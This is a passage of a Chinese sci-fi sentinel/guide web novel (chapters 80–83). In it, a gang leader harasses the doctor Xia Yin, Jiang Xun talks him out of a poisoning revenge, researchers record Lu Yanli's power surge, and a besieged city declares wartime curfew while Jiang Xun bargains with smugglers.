他猛地将雪茄摁灭在烟灰缸里，发出“滋啦”一声轻响，身体前倾，巨大的压迫感如同海啸般向江寻压下来。 “你骗骗夏因就算了，在我面前也敢说这种谎？！站在我面前和我说话，你就以为你能和我平起平坐了？” “你以为你是什么东西？若不是因为夏因，我碾死你不比碾死一只蚂蚁简单！” 眼前的男人眸光狠厉，气势铺天盖地地压下来，可在已经窥出了些许蹊跷的江寻眼里，却已经不再具有威胁性。 甚至，他表现得越生气，江寻心底反而越发欣慰起来。 正欲解释清楚，想到夏因的衷告，还是忍了下来，再回答时，诚恳里带上了一些亲近安抚：“雷部长，您真的误会了，我和夏因之间什么也没有。我也可以保证，我绝没有故意接近、利用夏因的意思，如果您后面发现了我有什么恶意企图，我随您处置！” 雷鸣眯起眼睛，紧盯着江寻，良久，似乎是终于因为他诚恳的态度，相信了他一些，语气缓和了一些下来：“你最好是这样！” 身子往后一倒，语气平复了下来，向着江寻挥了挥手。 “回去吧，等我安排好了，会让人带你过去的。” 边说着，椅子再次转动了起来，又在彻底转过去之前，斜眼瞥过来。 “还有，今天我们的谈话，不要让夏因知道。” 见江寻点头应下，这才彻底转过了身去，不再理会江寻了。 江寻深深看一眼男人的背影，转身离开。 * 没过两天，果然又见那天来请江寻过去谈话的护卫王麟，带着一道邀请，再次登上了诊所的大门。 江寻跟随着他出去了一个下午，待回来时，仍和平常时候的表现一样。 夏因追着他问了半天也问不出什么东西，翻了个白眼，也不再关注这件事了。 倒是江寻，回来以后，旁敲侧击地在夏因那里试探了下他对雷鸣的看法，却不是被他寻着借口避开，便是厌恶嫌弃地骂两句，始终没有得到他想要看到的答案。 终于叹了口气，暂时歇下了探究的心。 随着时间慢慢推移，每日里前来诊所的人越来越少了，整个内城的气氛越发紧绷了起来。 这日，时近黄昏，江寻正给手上最后这几张处方配着药，门外忽然传来一阵喧哗声。 刚抬眼，便见一个模糊的人影被摔进了门来，仔细一看，正是平日里经常来诊所里的一个熟客。 伴着那人的痛呼声，门外又排着队进来了一群面相凶恶、一胳膊纹身的大汉。 当先几人进门后，往诊所大门两边一站，便封锁住了出口，在众人的一声声恭敬地呼唤中，一个容貌普普通通，身上却带着股子别扭的温和感觉的男人，一个迈步，踏入了诊所大门。 眼看着来者不善，江寻也没有凑上去，身子一转，先挡在了前往诊疗室的过道上，观察着来人的路数。 “血狼帮处理事情，无关的人都快滚出去！” 一声呼喝，诊所里剩余的几个顾客，连药也顾不上再取，便忙不迭地一个个跑了出去，整个门厅里，转眼间就只剩下了江寻一人。 “你就是这里新来的那个帮手？”领头的男人睨了江寻一眼，“听说你是个D级哨兵？” 男人不屑地上下打量江寻一番：“也是，凭夏因现在的等级，也就只能找到这样的男人了。” 说着，男人面色一变，面上那一分古怪的温和感也从脸上完全消失，“去，给我把夏因叫出来！就说……” 他露出个阴狠的笑：“就说，谢谦来找他叙旧了！”—— 作者有话说：今天好懒，一直在磨蹭[化了]第一更先奉上，晚点还有第二更《 》 80-90 第81章 江寻面色一变， 他就是谢谦？！他今天来是要做什么？ 还没等他想清楚，身后传来房门开合的声音，一个人影已经急急走了出来。 “谢谦！你来做什么？！” 夏因已经急急从内室里走了出来， 凝目瞪着谢谦， 眼中露出复杂的目光。 倒是谢谦， 见到夏因之后，神色明显愣了一愣。 “夏因？” 不可思议地上下打量了他半天，才说道：“没想到， 离开兰台之后， 你居然还能恢复得这么好？” 他的目光肆无忌惮地在夏因身上，上上下下停留，面上挂上了一丝轻浮笑意：“不愧是被那么多男人调教过的，现在这长相、这满身的风致，可比我们刚认识的时候带劲多了啊！” 话音刚落，他身边带来的小弟们就纷纷跟着吹起了口哨。 “你！” 夏因脸色一白， 瞪向谢谦， 眼中却是已然带上了泪光：“你害得我还不够吗？！你今天到底为什么还要来找我？” 谢谦本是因为前些日子害他与斯科特离心的谣言， 来兴师问罪的，这会儿见了夏因的模样， 却久违地感觉心里痒痒的。特别是他现在眼含泪光含幽带怨的样子，不知怎么的， 就是显得格外的勾人。 让他明知道对方如今已经成了个人尽可夫的女表子，却仍想尝上一尝。 也许就是长开了吧， 毕竟自己当初遇到他的时候，他还只是个刚刚成年的小屁孩，哪里有如今这样的风情，连生气瞪着他都能让他蠢蠢欲动起来。 谢谦舔了舔嘴唇， 目光丝毫不加掩饰地在夏因身上流连起来。 夏因的面色随着他目光的游移渐渐发白，眼中也渐渐瑟缩起来，从一开始的怨怒，变成恐惧的哀求，身子微微颤抖起来，承受不住般颤颤巍巍地往后退了几步。 看在谢谦眼里，却更觉诱惑，心痒难耐起来。 踏前一步正要逼迫，斜刺里却有一人横插了进来，挡在了两人中间。 谢谦面色渐冷，眯起眼睛看向江寻。 “谢谦，夏医生如今可是雷老大庇护的人，你最近在血狼帮里情况也不好吧？你确定要在这时候动他？” 江寻的话一瞬让谢谦的面色难看了起来。 “你在威胁我？”谢谦眼睛一眯，阴沉道。 江寻一笑，目光中透着笃定。 谢谦心中气怒得要死，但还真的被江寻说中了，他如今地位尴尬，已经失了斯科特的支持，万不能在这种时候再和雷鸣别了苗头。 稍稍直起身子，面上挂起一个不达眼底的笑：“我哪里有去动他，雷老大的人，我怎么会去碰？” “不过，”谢谦眼睛一转，越过江寻，沉沉落在了夏因身上，直直与他对视起来，“要是夏医生主动来找我，那可就不关我的事了，你说对吗？夏医生？” 夏因被这充满了恶意与志在必得的眼神击中，面孔一片煞白，眼泪终于止不住地涌了出来，浑身颤抖着一下子向后跌倒在了地上，一边摇着头一边蹬着地面向后退。 谢谦一看他这副脆弱易碎的样子，心里的破坏欲几乎达到了顶峰，如狼似虎的眼神简直要把夏因吞噬下去。 “够了！请你离开我们的诊所！这里不欢迎你！” 江寻踏前一步，用自己的身体完全挡住了谢谦看向夏因的视线，声音压抑，满含着怒火。 “哼！”谢谦的目光移到了江寻面上，看着看着，突然一笑，“你倒是对他忠心，怎么？他的滋味很好吗？” “请你出去！”江寻第一次如此厌恶一个人，怒火几欲喷薄而出。 谢谦看着江寻更加生气了，心情反而更好了，再次越过江寻，与已然瘫倒在了地面上的夏因说道： “你知道我在哪里的，你会来的，是吗？” 言罢，哈哈大笑一声，当先转身，自信不疑地带着一众手下，浩浩荡荡地离开了。 随着众人的声音渐渐远离，刚才还一脸恐惧破碎，泪如雨下的夏因，忽然便收起了所有的表情，凝视着门口的目光，森冷而怨毒。 “你是故意的？对吗？” 江寻沉着脸，夏因刚才的变化被他一分不落地看进了眼里。 夏因沉默着没有回答，一把抹去了脸上的泪水，从地上站起身来。 “你要做什么？为什么还要故意去招惹他？”江寻急急问道。 夏因充耳不闻，走到一边平时用来配药的柜子前，拉开一个抽屉，从中取出几个小小的白瓷瓶来。 目光死死盯着手中的白瓷瓶，透出股决绝之意。 江寻看着他这幅着了魔的样子，一把捏住他的手腕，把夏因拖到了身前：“你故意接近他？你要给他下毒？” 夏因的眼睛抬了起来，沉沉地睁大紧盯着江寻不说话，眸中未流尽的流水却扑簌簌滑落了下来。 江寻看得心中一痛，一把夺下夏因手中的瓶瓶罐罐，把他拉进了怀里紧紧扣住：“你就这么堂而皇之地给他下毒？就算你成功了，也马上就会被抓起来的！你要和他同归于尽是不是？” “对！”夏因的声音被闷在江寻怀中，听不分明，那话语中的刻骨仇恨却让简单的一个字，变得触目惊心！ “我要他痛苦！要他失去一切！我要他死！” 夏因的声音被闷在江寻怀中，却像淬了毒的冰棱，每一个字都带着刺骨的寒意和孤注一掷的疯狂。 他没有挣扎，身体在江寻的怀抱里僵硬得像一块冰冷的石头，只有那双被江寻强行从怀里扳出来、被迫对视的眼睛，燃烧着两簇幽暗、执拗到令人心寒的火焰。 “放开我，江寻。”他的声音异常平静，平静得可怕，仿佛刚才那疯狂的嘶吼是另一个人发出的。 “我已经等了太久了，这仇，我要自己亲手了结。今天，就是今天！” “夏因！” 江寻的声音低沉而痛楚，带着一种不容置疑的力量，他紧紧锁住夏因的目光，不让他有任何逃避的余地，“看着我的眼睛！你告诉我，用你拼尽全力才从地狱里爬回来的这条命，去换谢谦那条肮脏的命，值得吗？！” 夏因的瞳孔几不可察地收缩了一下，平静的冰面似乎裂开了一丝缝隙。 “值不值得？呵……我的命，我的人生早就被摧毁殆尽一文不值了！只要能拖着他一起下地狱，就是值得！” “胡说！” 江寻低吼，声音带着前所未有的严厉。 他用力抬起夏因的下巴，强迫他无法移开视线，“你的命，比谢谦贵重一万倍！你熬过了那些生不如死的日子，你活下来了！你有了这家诊所，你救了多少人？你还救下了我！你的命无比珍贵！这么珍贵的你，不是为了在今天，和他同归于尽的！” 夏因死死盯着江寻，声音陡然拔高，带着一种被逼到绝境的尖锐质问和深沉的绝望：“珍贵？！江寻！你看看我！你看看我这个人！” 夏因在江寻面前转了一圈，眼睛以惊人的速度红了起来。 “我这副身子！我这个人！早就在泥潭里烂透了！那些过去像跗骨之蛆，日夜啃噬着我！只要谢谦还活在这世上一天，呼吸着自由的空气，我就永远在地狱里煎熬！你告诉我，我这样活着，跟死了有什么区别？！” 压抑了太久太久的痛苦、屈辱、绝望和不甘，如同决堤的洪水，终于冲垮了他强行构筑的冰冷堤坝。 他的身体剧烈地颤抖起来，不再是之前的僵硬，而是一种从灵魂深处蔓延开来的崩溃。 眼泪不再是无声滑落，而是汹涌地奔流而出，瞬间模糊了他的视线，但他依旧死死地，带着一种近乎绝望的控诉，狠狠瞪着江寻！ “我活着干什么啊？江寻……” 他的声音从尖锐转为嘶哑的悲鸣，字字泣血，“我活着的每一天……都像是在油锅里煎熬……我撑不住了……我真的撑不住了……除了拉着他一起死……我没有别的路可走了……” 看着夏因眼中那几乎将他整个人吞噬殆尽的黑暗和绝望，江寻的心如同被一只无形的手狠狠攥住，痛得几乎窒息。 他猛地将夏因更紧地拥入怀中，用尽全身力气抱紧他颤抖的身体，仿佛要将自己所有的力量和信念都传递给他。 “有的！” 江寻的声音斩钉截铁，带着穿透绝望的坚定力量，在夏因耳边响起。 “不是和他一起毁灭！是看着他毁灭！是活下去，亲眼看着他失去他所追求的一切！权势、地位、财富、名声！看着他被踩进泥里，看着他众叛亲离，看着他像一条丧家之犬一样在绝望里挣扎！” 江寻的声音冰冷如刀：“你不相信我吗？我会把他带到你面前的，让他跪在你的脚下，让他为自己对你犯下的滔天罪行忏悔！他的命，由你亲手来了结！” “亲手……” 夏因在江寻怀中剧烈地喘息着，呢喃着。 “对，亲手！” 江寻用力地、一遍遍地重复，试图将这个更清晰的未来刻进夏因的灵魂。 “但不是现在！夏因，相信我！再忍一忍！保护好自己！你值得拥有一个更好的未来！那份未来里，还有更多美好的东西在等着你！” “未来……我还有未来吗？” 夏因喃喃地重复着。 与江寻相处的点点滴滴，那些打打闹闹，吵吵嚷嚷的日子，这些被他刻意忽略的碎片，此刻在江寻炽热而坚定的目光下，突然变得无比清晰。 名为“生”的种子，在江寻恳切的目光和滚烫的怀抱中，艰难地穿透了沉重的绝望。 支撑着他决绝赴死的力气，如同被瞬间抽空。夏因紧绷的身体骤然松懈下来，整个人完全脱力地瘫软在江寻怀里。 他不再挣扎，不再嘶吼，只是将脸深深埋进江寻的肩窝。 压抑了太久的，撕心裂肺的呜咽终于冲破喉咙，宣泄出巨大的悲伤和痛苦委屈。 “呜……呜呜呜……江寻！” 他死死抓住江寻背后的衣服，泪水渐渐决堤，哭得浑身颤抖，泣不成声。 哭声里，有压抑了多年的痛苦，有失去未来的茫然，更有一种脆弱的希冀。 “好……我相信你，我……等着你……” 他仿佛用尽了最后一丝力气，无法抑制地崩溃般嚎啕大哭起来。紧攥着江寻衣服的手，像溺水的人抓住了唯一的浮木，充满了依赖。 江寻感受到怀中人剧烈的颤抖和滚烫的泪水，悬着的心终于重重落下。 他紧紧抱着夏因，一只手温柔却有力地拍抚着他剧烈起伏的背脊，像在安抚一个受尽世间苦难的灵魂。 紧握着毒药瓶的手，缓缓地、彻底地松开了。几个冰凉的白瓷瓶无声滚落在柔软的地毯上。 “好！” 江寻的声音低沉而沙哑，带着庆幸和无比的郑重。 “等我！”—— 作者有话说：不小心睡着了555[化了]急速赶工！修完了修完了，还好赶上了！我的全勤！ 第82章 【滴——！】 随着一声长鸣， 连接着数台检测仪器的医疗舱停止了运行，舱盖缓缓升起，陆厌离从中间慢慢坐了起来， 视野还因为刚才的压力检测而阵阵发黑。 可这时， 周围却没有人有工夫去关心他的状况， 身穿白色研究服的研究员们，纷纷围绕在几台仪器周围，翘首以盼地等待着从机器中吐出来的检测结果。 “出来了出来了！基础精神强度与脉冲峰值出来了， 我看看， 是……954SU！峰值达到了14000Gyra！我的天！他的基础精神强度还在增长！” “已经超过他原本巅峰状态的150%了吧？我记得他那时候检测出来的精神强度还不到600SU？” “是的！595SU！当时他的精神强度，仅次于元帅与布瑞克家主，在S级哨兵中排行第三！现在，都快要赶上明家家主这个S级向导了！” “重要的是，他每周仍然维持着差不多的数值在增长！上周测试的时候，数值还是935SU， 短短一周时间， 又涨了将近20SU！” “1000SU就是理论上双S级哨兵的最低精神强度门槛了吧？他要是继续以这个速度增长下去， 那只要三周时间便能达到了！” 几个年轻的研究员，盯着手中的报告单， 兴奋之情溢于言表，倒像是快要升级的人是他们似的。 稍微年长些的研究员就没有他们这么浮躁了。 尼克斯随手把挡住了视线的头发向后拨去， 眼睛凝注在检测报告上，脑子里飞速计算起来。 他没有这些年轻人这么乐观， 虽然陆厌离的精神强度增长的数值，每周看起来差不多，可精神增长看得从来不是绝对值，而是增长率。若按照增长率来计算， 这个数值可是一直在降低的。 这样看来，他的这一次异常提升，很可能会在不久之后停滞下来，很难说能不能突破1000SU这个大关。 “场域范围与熵指数的检测报告出来了吗？” 尼克斯小跑到旁边另外一台大型设备前，问起操作员。 “马上！马上……出来了！” 尼克斯甚至等不及让操作员把报告递给他，一把把人推到了一边，往对方的座位上一坐，抓起面前不停吐出来的检测报告就看了起来。 “场域范围……6.7m~127m？怎么会这么不稳定？” “熵指数……0.64？怎么可能？这么不稳定的场域，他的熵指数还降低了？精神结构在如此高速增长的情况下，反而变得更精纯稳定了？” 尼克斯满脸不可置信，这几乎可以说是背道而驰的两组数据，几乎让他怀疑面前的机器是不是出了故障。 这时，身侧的几台设备也纷纷发出检测结束的鸣响，每台机器前都传来了操作员们抑制不住的惊呼声。 不远处，满头白发的古德里安捏着眼镜，眯着眼睛紧盯着手中仍在散发出阵阵热气的报告单，沉默无言。 与走到他身边的尼克斯对上一眼之后，无奈地笑笑，把手里的报告单递了过去：“你赢了，你是对的！” 尼克斯没去想输赢之事，只是快速地一张一张翻阅着手中的报告单。 “精神力恢复速度……操控精度……能量频谱！” 他的眼睛在其中一页上停了下来，目光注视着图像上那个从未见过的高强度谱峰，心跳得越来越快！ 出现了！无法与数据库中任何一种图像匹配上的未知谱峰！还有伴随出现的低强度背景谐波共振！他曾经预言过的本质改变出现了！ 尼克斯手指快速一搓，继续向后看去，脑子飞速运转起来。 强度、范围、精度、恢复力、稳定性……所有指标都在同步、无短板地疯狂增长！ 不对劲！怎么会有这样全面的爆发性增长？！这种增长模式本身就是一个最大的异常！ 最奇异的就是这个反常降低的熵指数和这个未知的能量波谱！ 这个波谱……这…… 尼克斯思维混乱起来，口中喃喃出声： “这感觉像是……像是在接收或者连接着某个未知源头的信号？” * “未知信号？” 虚拟空间的会议室中，几位穿着不同装束，但同样威严郑重的人影围桌而坐，看着由尼克斯在前方的投影屏上投射出来的报告单。 如果有经常看联盟新闻的人在这里，就能发现，在座诸人，无一不是联盟中掌握着强大话语权的各方代表。 一位面目和善的老者，听着尼克斯的报告问道：“这个未知信号，还停留在猜测层面上吗？那就暂时把它作为一个参考，先不列入讨论的范围。你们之后再尝试一下其他检测方式，看看是否能得到这种信号存在的证据。” “嗯……我想为研究中心申请星核数据中心的调阅权限，让他们能与以往的数据进行对比，看看这种现象在过去有没有发生过。” 一阵讨论之后，这项提议被全员通过。 一位面上已经带了些风霜，但仍能看出年轻时的绝代风华的女士接着问道：“那有没有对陆厌离如今的实力做出潜力评估？可控性又如何呢？” 尼克斯接道：“陆少将如今的状态仍在变化中，无法得出新的、准确的潜力值评估，但按照现有数据的测算，其基础精神强度可能刚好会卡在理论上双S级哨兵的最低水平上，其他数值也紧随其后。” “当这一次提升结束时，可能与双S哨兵仅差临门一脚。但最高潜力值应该会提升到双S级。” 闻听此言，座中传来不少道叹息之声。 另一位身穿军装的威严中年男子，叹息过后，再次追问道：“那是否找出了这次异常提升的原因？这种增长模式又能否复制？多久能投入应用中？” “这……”尼克斯迟疑一下，斟酌着回答道：“我们已经对陆少将进行了问询，也已经派人前往寂静星上，对于当地的环境变化进行观察研究。但因为时间过短，还未得到确切的结论。” “另外，”尼克斯接着说道：“我们还怀疑，此次异常提升是否与陆少将提到过的，那一位能够与之匹配，彻底净化了他的精神图景的新向导有关。但因为如今失去了那位向导的踪迹，现在也无法确定这一可能。” “那就派人去找！”军装男子果断说道：“不提此人可能与此次异常提升有关，仅仅只因为他是现存的唯一一位能够与陆少将匹配上的向导，都有找到他的必要。更何况，联盟维护疆域内每一位守法公民的权利，他在联盟内失踪，找回他、保护他本就应该是联盟应该做到的事。” 军装男子扭头对着身后伫立的一人说了些什么，那人点着头，身影一闪而逝。 “他是在第八军团的疆域内失踪的，我已经通知了第八军团军团长，协助寻找到此人。” “如果能够确定这种增长模式是可以复制的，那么整个联盟的情势，都会因为此事发生巨大的变化，你们一定要对这件事提起足够的重视！” 闻听此言，尼克斯严肃地立正，郑重应道：“是！元帅大人！” 之后，与会人员一个个散去，至于每个人心中究竟转着怎样的念头，无人知晓。 * 陆厌离也不知道，自己身上的异常已经牵动了多少人的心思。 只是在配合愈灵殿研究、提升的同时，不停通过各种渠道寻找着江寻的消息。 可这么长时间过去，却仍然一无所获。 这样的情况让他的担心几乎要达到顶峰。 茫茫宇宙之中，可能发生的意外太多了，江寻当时又只有一个人，也没有任何航行经验，如果在航行过程中发生了意外，他根本没有任何办法去处理！ 他甚至开始后悔当时让江寻独自一人乘上了登陆舰离开！ 这天，他刚刚从愈灵殿回家，又得到了消息，一个同为第八军团的战友，刚刚因为受伤被送回了中央星治疗，他顾不上休息，转身就要去找对方打听消息，却在大厅里迎面碰上了刚刚进门的父亲。 “站住！”陆明远沉声喝道：“刚回来，你又要干什么去？” “父亲，”陆厌离对着陆明远一点头：“我去看望一个军部的朋友。” “什么朋友能让你这么迫切？”陆明远眉头紧皱：“你最近的动作这么多，难道都是去看朋友？” 陆厌离张了张嘴，没有出声。 “我告诉过你了，那个向导我已经派人去找了，你只要好好配合上面下达的任务，提升精神力就行了，你连这么点事都做不好吗？” 陆厌离闭了闭眼，再睁开，直视着陆明远：“您真的派人去找了吗？那为什么偌大一个陆氏，这么长时间了，都得不到一丁点儿消息？” 陆明远的面色冷了下来，声音像是淬了冰：“你是在怀疑我？” “我不知道，父亲，”陆厌离直视着陆明远，一字一句回道：“但没关系，如果家族找不到，我会用自己的方式去找！” * 又过去两周，愈灵殿最终确定，陆厌离身上的这一次精神力异常增长状况，彻底停滞。 最终的精神强度，停留在992SU的数值上。同时，新的最高潜能等级确定为——双S级！ 与此同时，军部召开紧急会议，商定增援M85星系，解救被困残部，剿灭盘踞的当地星盗势力的人选。陆厌离少将自荐获准，即刻点兵开拔。 * “咚咚咚！” 一大早还没开门，一室的寂静便被一阵敲门声打破。 “来了！” 江寻披衣起床，开门一看，台阶下，正站着两个身着警备队制服的巡逻官。 江寻微微一惊，忙问道：“您好，是有什么事吗？” 两个巡逻官只留下了一位和江寻说话，另一位看到江寻开门以后，打量了他一眼，便又继续往前走，去敲下一家商店的门。 留下的这位也不废话，直截了当地道出了来意：“城主府发布公告，自由城进入‘二级战时警戒状态’。今天中午十五点整，会在城主府官方账号上发布具体的战时警戒条例内容，并推送到所有自由城合法公民的电子终端上，请注意查看。” “依据战时警戒条例中的规定，每日下午二十点之后至第二天上午十点之间，施行宵禁，请所有公民严格遵守规定，非必要不得外出。” “你们诊所属于特殊行业，如有需要，可在三日内去城主府申领特殊通行证，之后可以持通行证在宵禁期间通行。但需要注意，每次特殊通行，必须在终端上进行登记。” “另外，”巡逻官看一眼江寻，将手中的一个手写屏终端递了过去，“请配合，登记现有常住人口。请注意，在战时警戒期间，严禁收容来历不明者！警戒期间，巡逻队将加强巡逻，并随时进行身份盘查，违者一经查处，将面临监禁甚至更重的刑罚，请各位公民不要以身试法！” 战时警戒！ 江寻心中一惊，战争真的要来了！ 配合着巡逻官，将自己与夏因的身份信息登记在案，又咨询了特殊通行证的申领方式之后，江寻送别了巡逻官，关上大门，转身对上了同样起身出来查看的夏因。 “发生什么事了？” 听着外面不断传来的喧哗声，夏因担忧地看向江寻。 江寻一边向着夏因讲述着刚刚得知的信息，一边快速地换上了外出的衣物。 “你要做什么去？”夏因看着江寻的模样，一把拉住了他。 “我需要出去一趟，”江寻解释道：“一则需要提前去城主府申领特殊通行证，避免之后前去申领的人太多，不好拿到。二来，消息发布以后，有些特殊物资可能会遭到哄抢，我需要出去看看情况。” “我回来之前，你先不要开门了！”江寻又叮嘱道：“我已经提前在诊所里囤积了食物、医疗资源与一些能源、工具，未来一段时间内，维持我们的基础生存需求不是问题。” “待会儿消息传开之后，城里肯定会迎来一波恐慌性的抢购，争抢和冲突也不可避免，在我没回来之前，你就呆在家里看好我们的储备，不要出门去了。” “好！我不出去，”夏因在这种时候十分听话，“那你一路小心，办完事尽快回来。” 对夏因点了点头，江寻便快速地出了门，向着城主府的方向小跑了过去。 一路看去，街上许多门户，已经因为这个突如其来的公告沸腾了起来。 有行色匆匆，和他一样目标明确地向着一个方向奔跑的；有抓着前去说明的巡逻官，面色恐慌地询问着什么的；有突然起了争执，随后又被遍布大街上的巡逻官们扣押住的；也有大门紧闭，对外界的一切都不闻不问的。 众生众相，百态毕呈。 江寻轻叹了口气，随即振作起来，脚下步伐加速。 得益于他的果断反应，此时公告刚刚发布下去，前来城主府申领通行证的人并不多，江寻排了一下队，很快便办好了诊所的特殊通行证。 没有再此多做停留，他脚下一转，便转去了曾经踏足过的那个酒吧。又花费了些钱财，获知了一些消息，这才踏上了回诊所的路。 如他所想的一样，如今的情况下，中低层的民众们争抢的是食物、能源等生存资源。而在更高端的层面上，被争夺着的资源，正是与哨兵向导相关的各项物资。而其中，最典型的那一项，便是天启生命集团的支柱产品——蓝眼泪！ 蓝眼泪，一种哨兵向导专用的精神缓释剂与补充剂。得名于它漂亮璀璨的外表与珍惜性。 传言由天启集团出品的蓝眼泪，一份只有一滴的容量，可价格却能够卖上天际，且还供不应求。 它在哨兵和向导身上有着不同的功效。 哨兵使用它，可以在一定程度上代替向导素，获得一段时间内的精神稳定效果，在此期间不论是运用技能或者使用合体拟态，产生的负面影响都会大幅度地下降。 当向导使用时，它可以帮助精神力受损的向导快速恢复，并且提供一定时间内的全神贯注效果，增加这段时间内，向导使用技能时的成功率。 同时，它也可以使用在哨向疏导过程中，大大提升疏导效果。 因为它实用强大且普适的药效，天启生命集团在制造出这种珍贵药剂之后，便凭借这种药剂飞速扩张发展了起来。在很短的时间内便达到了如今这般跨星球级的规模。 它是天启集团最最重要的支柱产业。也是战争期间，各方势力都会全力争夺的重要战略物资。 是时候了，江寻想道，他的计划也可以开启了。 * 待江寻回到诊所所在的那条街道上，巡逻官们已经完成了通知与登记，前往了下一条街道。 不少熟悉的邻居正三三两两地凑在一起，面色难看地讨论着什么。 江寻三步并作两步踏上诊所的台阶，敲了敲门，闪身进去，便对上了夏因担忧的目光。 “怎么样？没事吧？” “没事，通行证也领回来了。”江寻掏出特殊通行证递给夏因，后者接过，放在手里细细翻看了一番，好好收进了内室里。 “来，帮我把这边药柜里面的药品都搬到里间去。” 江寻接着又指挥着夏因，与他一起，把原本摆在门厅边的药柜中的各种瓶瓶罐罐，全部挪到了最里面那件带锁的房间里。 整理完毕，又检查了一番之前储备下的物资，江寻这才让夏因锁上了房门。 又走到窗前向着外面观察了半天，确定民众们在经过了最初的一番恐慌之后，情绪已经重新稳定了下来，江寻这才重新打开了诊所的大门。 作为附近公认的聊天唠嗑场所，遇到了这样的大事，夏因的诊所一开门，没一会儿，门厅里便被附近的居民与店家坐满了。 焦躁不安的人群开始互相交流起自己所知道的信息来。 “居然这么快就公布战时警戒令了，是不是联盟派来的军队已经到了呀？马上就要开始打仗了吗？”一位阿姨忧心忡忡地说道。 “不会很快的，”一个神色看起来还比较平静的老伯接口道：“还只是二级警戒令，说明已经确定战争要开始打了，但是双方还没有正式接触。应该是联盟那边已经放出了确切的消息，但还没有飞到这边来。” “对对对！你说的没错！”其中坐着的一位经常关注联盟方面新闻的中年人，忙说出了他所知道的讯息。 “昨天联盟刚刚开会确定了这次讨伐的领军将领，公布了消息。按照中心城到这边的距离来看，至少需要五百星时左右的时间，联盟军才能抵达我们这边。” 众人听了这话，议论声马上变大。 江寻也默默在心中计算了一下时间，五百星时，换算成这里的时间，大概是十六七天左右。 “也可能更快一点，”另一个同样一直在关注着战争讯息的青年学者，接道：“如果联盟直接从驻扎在M80星系的第八军团中调集人手，那到达我们M85星系的时间就要更快一些。” “不过考虑到，他们到了以后，恐怕要先收拢上次被打散的舰队人员，回收损坏的战列星舰，可能战争开始的时间，就是在差不多二十天后了。” 有理有据的推论，再一次激起了一轮讨论。 “哎，不知道联盟这次派了哪位将军前来，听说上一次来的指挥官是一位上校，结果都被仓促集结起来的星盗团打败了。这一次星盗团以逸待劳，又有后勤优势，不知道能不能打赢。”一位戴着绅士帽的男士说道。 “你希望谁赢啊？” “废话！”绅士帽男士小心地看一眼周围的人，发现在座的都是熟面孔，这才说道：“当然是联盟了！咱们都有家有业的，当然都更想遵守秩序的联盟掌权了！就算各种税收多一点也没关系，还是安全最重要！” 众人纷纷附和。 “联盟昨天的公告上公布领军将领的名单了，我记得最高统帅是个联盟少将！听说还是个有点传奇在身上的少将！之前因为一些意外差点死了，最近才回归联盟，但是一回来就能力猛增，听说如今的实力极强，胜率很大的！”开始时说话的那位学者说道。 “好像背景也很强大，是联盟中一个极强的家族中，这一代的嫡系传人，”学者一边说着，一边打开了他手上的终端链接器，查看起昨天看到的那个公告。 “找到了！没错！联盟少将——陆厌离！”—— 作者有话说：猫猫冲鸭！[加油] 第83章 【滴滴滴——】 【滴滴——】 …… 众人正在议论着联盟公告上透露出的信息， 突然，许多道终端提示音，在同一时间接连响起。 “十五点了！是城主府的推送公告！”正在看着终端的学者第一个喊出了声。 众人这才恍悟， 纷纷低头， 点开紧急推送， 仔细看了起来。 “特别战争税？！妈的！我就知道没好事！还要三天内交齐！操！” “啊！之后可能要限制基本生活物资的配给？这……意思是，这场仗要打很久吗？” “还要征召民兵和志愿者！操！下一步不会就要强制征召了吧？” 长长的公告，看得在座诸人的面色纷纷变化起来， 再顾不上聊天， 纷纷扭身散去，不一会儿，刚刚还坐得满满的门厅便冷清了下来。 江寻也在终端上看到了城主府刚刚公布出来的战时警戒条例，内容与他一开始想的差不多。 见这会儿大家都忙着回家为了这个条例忙碌去了，想了想，干脆关闭了诊所大门， 给夏因打了一声招呼， 便去了夏因制备药品的房间里。 江寻坐在操作台前， 取出几支颜色各异的试管，精神高度凝聚， 手上动作却毫不迟疑。 取出滴管，小心地抽取了一种红色液体， 慢慢滴入了另外一支蓝色试剂之中，迅速摇晃一下马上塞紧试管塞， 把试管放进了手边散发出阵阵寒气的冷藏箱中。 这蓝色试剂看起来对温度格外敏感，原本与寻常液体无异的试剂，在被放进冷藏箱中之后，迅速变得粘稠了起来。红色液滴被其包裹在内， 随着蓝色试剂的流动慢慢稀释开来，直至完全看不见一点儿异色。整支试剂又重新变回了开始的蓝色。 成了！ 江寻心中一喜。 这种蓝色试剂并非药物，而是一种较为少见的提纯精炼剂。 它的作用原理十分简单：当它接触到某些有机物时，会在几个小时之内，与其发生反应，分解成几种常见的气体逸散出去，从而达到为溶液提纯的效果。 然而，它有一个关键特性——它对于温度十分敏感，一旦温度低于某个阈值，它的活性就会迅速降低下来，提纯过程也会随之停滞。 这种低温惰性，正是江寻现在需要的关键，而他方才滴入试剂中的，正是江寻自己的血液！ * 第二天一早，江寻披上了一身不起眼的斗篷，再次来到了几条街外的酒吧里，按照惯例递上了五枚天启币，再次进入了那个小小的隔间里。 这一次，刚刚听到墙壁对面的人落座，他就快速地问出了问题： “我上次来问过前往中央星的途径，但是如今所有的航道都被封锁了，其他几种方式都已经失效了，唯一剩下的城主府那边的路子，也不是我能搭上的，我想问的是，真的没有别的方法能离开了吗？不去中央星也可以，只要把我送到其他安全的星球上就行！” “或者说，”江寻顿了下，接着说道：“你们应该也是有办法能够离开的吧？我要付出什么，你们才愿意带我离开这里？” 里间的人迟疑了一下，似乎是在犹豫，又像是在评估。 江寻此时却不等他慢慢思考，直接亮出了自己的底牌。 “一种新药剂怎么样？只要你们能保证我的安全，把我带出这个星球，我给你们一种新的药剂，比‘蓝眼泪’效果更好的新药剂！” * 成功把诱饵抛了出去，江寻也没有逼着对方马上给出答案，留下了一个答复的时间，便退了出来。 接下来两天，江寻又再次去城主府门口转悠了几圈，每一次都被护卫远远就驱赶了开来。 到了第三天，江寻依然在一大早就身披斗篷，踏入了酒吧大门。 但与平日里不同，这一次，他一进门，就敏锐地发现了好几道落在身上的视线。 没有表现出丝毫异样，江寻再次被带上了楼，这一次，来到的，却是一间装修得精致优雅的会客厅。 而此时会客厅中，已经有好几个人等待在里面了。 一见对面的架势，江寻马上停住了步伐，目露警惕地看了过去。 “你们要干嘛？想强抢我的东西不成？” 当先一人，衣着考究，目光精明，见江寻警惕的样子，安抚地一笑，向后挥了挥手，身后站着的几人便再次后退到了墙边，各据一角。 “客人，别担心，我们只是谨慎起见。毕竟你上次说了，你的这种药剂比‘蓝眼泪’效果更好，如果真的是这样的话，那怎么小心都不为过，你说是吗？” “哦？这么说来，你们愿意交换了？”江寻接道。 